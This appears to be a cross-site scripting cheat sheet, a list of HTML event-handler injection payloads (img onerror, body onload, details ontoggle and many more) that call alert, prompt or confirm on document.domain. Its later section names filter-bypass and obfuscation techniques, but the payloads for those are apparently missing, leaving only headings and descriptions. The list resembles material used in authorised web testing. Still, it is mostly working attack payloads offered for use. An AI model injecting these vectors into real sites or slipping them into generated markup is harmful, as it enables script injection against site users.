🔵Obfuscation, Filter Bypass alert event
Obfuscating alert event
--------------------------------------------------------------------
<!-- Alerts -->
<img src=x onerror=alert(document.domain)>
<img src=x onerror=alert(document.domain)>
<div onmouseover=alert(document.domain)>Hover me</div>
<div ondblclick=alert(document.domain)>Double-click me</div>
<body onload=alert(document.domain)>
<input type="text" onfocus=alert(document.domain)>
<button onclick=prompt(document.domain)>Click me</button>
<body onkeydown=prompt(document.domain)>
_____________________________________________________________________________________________________
<!-- Prompts -->
<img src=x onerror=prompt(document.domain)>
<button onclick=prompt(document.domain)>Click me</button>
<body onkeydown=prompt(document.domain)>
<textarea onselectstart=prompt(document.domain)>Select me</textarea>
<form onsubmit=prompt(document.domain)><input type=submit></form>
<select onchange=prompt(document.domain)><option>Choose</option></select>
<input oncopy=prompt(document.domain) value="Copy me">
<button ontouchstart=prompt(document.domain)>Touch me</button>
_____________________________________________________________________________________________________
<!-- Confirmations -->
<img src=x onerror=confirm(document.domain)>
<button onclick=confirm(document.domain)>Click me</button>
<div onmousedown=confirm(document.domain)>Mouse down</div>
<input onblur=confirm(document.domain)>
_____________________________________________________________________________________________________
<!-- Other events -->
<a oncontextmenu=prompt(document.domain) href="#">Right-click me</a>
<button onmouseenter=confirm(document.domain)>Mouse enter</button>
<input onwheel=alert(document.domain)>
_____________________________________________________________________________________________________
<!-- More tags -->
<details ontoggle=prompt(document.domain)><summary>Toggle me</summary></details>
<progress oninput=alert(document.domain) value=50 max=100></progress>
<output onforminput=prompt(document.domain)></output>
<abbr title="Abbreviation" onmouseover=alert(document.domain)>Hover me</abbr>
<code onclick=prompt(document.domain)>Click me</code>
_____________________________________________________________________________________________________
<!-- Additional Events -->
<div onmousemove=confirm(document.domain)>Mouse move</div>
<button onmousedown=alert(document.domain)>Mouse down</button>
<input onselect=confirm(document.domain)>
<select ondblclick=alert(document.domain)><option>Double-click me</option></select>
<textarea onfocus=alert(document.domain)>Focus me</textarea>
<a onmouseout=prompt(document.domain) href="#">Mouse out</a>
<button ontouchend=prompt(document.domain)>Touch end</button>
_____________________________________________________________________________________________________
<!-- Additional Tags -->
<fieldset onreset=confirm(document.domain)><legend>Reset me</legend></fieldset>
<small onmouseenter=prompt(document.domain)>Mouse enter</small>
<mark onmouseup=alert(document.domain)>Mouse up</mark>
<blockquote onmousedown=prompt(document.domain)>Mouse down</blockquote>
<sub onclick=alert(document.domain)>Click me</sub>
<sup oncontextmenu=confirm(document.domain)>Right-click me</sup>
<dfn ondblclick=alert(document.domain)>Double-click me</dfn>---------------------------------------------------------------
Filter Bypass Alert Obfuscation
---------------------------------------------------------------
Alert Injection Variations
All regular ways to break out from delimiters and inject alert(1) fixing the remaining syntax (without comments).
---------------------------------------------------------------
JS Injection without Alphabetic Chars
Use when alphabetic characters are not allowed. Following is alert(1).
---------------------------------------------------------------
Alert Obfuscation
Use to trick several regular expression (regex) filters. It might be combined with previous alternatives (above). The shortest option “top” can also be replaced by “window”, “parent”, “self” or “this” depending on context.
---------------------------------------------------------------
Alert Obfuscation - Optional Chaining
Use to trick several regular expression (regex) filters. It might be combined with previous alternatives (above).
---------------------------------------------------------------
Alert Alternative – Write & Writeln
Use as an alternative to alert, prompt, and confirm. If used within an HTML vector it can be used as it is but if it’s a JS injection the full “document.write” form is required. Replace “&” with “%26” and “#” with “%23” in URLs. Write can be replaced by writeln.
---------------------------------------------------------------
Last updated